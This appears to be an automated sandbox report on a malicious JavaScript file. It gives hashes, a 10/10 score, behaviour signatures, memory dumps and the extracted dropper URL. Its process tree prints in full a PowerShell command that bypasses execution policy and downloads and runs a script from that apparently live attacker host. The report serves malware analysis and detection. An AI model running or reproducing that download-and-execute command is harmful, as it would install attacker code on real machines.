Analysis

  • max time kernel
    119s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    07-02-2024 09:33

General

  • Target

    ARS17291729317291729.js

  • Size

    22KB

  • MD5

    f11df5cf2e7e9c6b39612f3f60d9e9f2

  • SHA1

    d919fe3bd69418f9e96569f9e73b4a1fa1cde9e9

  • SHA256

    2770b332ef571a1462e5a38778307106e16ba66dca58717fe40f6f76259b717b

  • SHA512

    1629a66eb3f8f48fa15d016995eb26f7b6342420eac8f34fdf42d514db1be5813df7a40f553b63da16b8eb6bde66d35297d23c63cffa252951988a28242e65bf

  • SSDEEP

    384:swbhSjLO+uDvTeLoxguxAR02OY4PLRyxag8YvA9DWWRUwuoLljIzPNWHvrHejQlJ:pwLOxvTeLoxguxARGPLRyxag8YvA9DWu

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://assime.ca/command.php

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\ARS17291729317291729.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2876
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (New-Object Net.WebClient).DownloadString('https://assime.ca/command.php')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2804

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2804-4-0x000000001B410000-0x000000001B6F2000-memory.dmp

    Filesize

    2.9MB

  • memory/2804-5-0x0000000001FC0000-0x0000000001FC8000-memory.dmp

    Filesize

    32KB

  • memory/2804-6-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

    Filesize

    9.6MB

  • memory/2804-8-0x0000000002AD0000-0x0000000002B50000-memory.dmp

    Filesize

    512KB

  • memory/2804-7-0x0000000002AD0000-0x0000000002B50000-memory.dmp

    Filesize

    512KB

  • memory/2804-9-0x0000000002AD0000-0x0000000002B50000-memory.dmp

    Filesize

    512KB

  • memory/2804-10-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

    Filesize

    9.6MB

  • memory/2804-11-0x0000000002AD0000-0x0000000002B50000-memory.dmp

    Filesize

    512KB

  • memory/2804-12-0x0000000002AD0000-0x0000000002B50000-memory.dmp

    Filesize

    512KB

  • memory/2804-13-0x0000000002AD0000-0x0000000002B50000-memory.dmp

    Filesize

    512KB

  • memory/2804-14-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

    Filesize

    9.6MB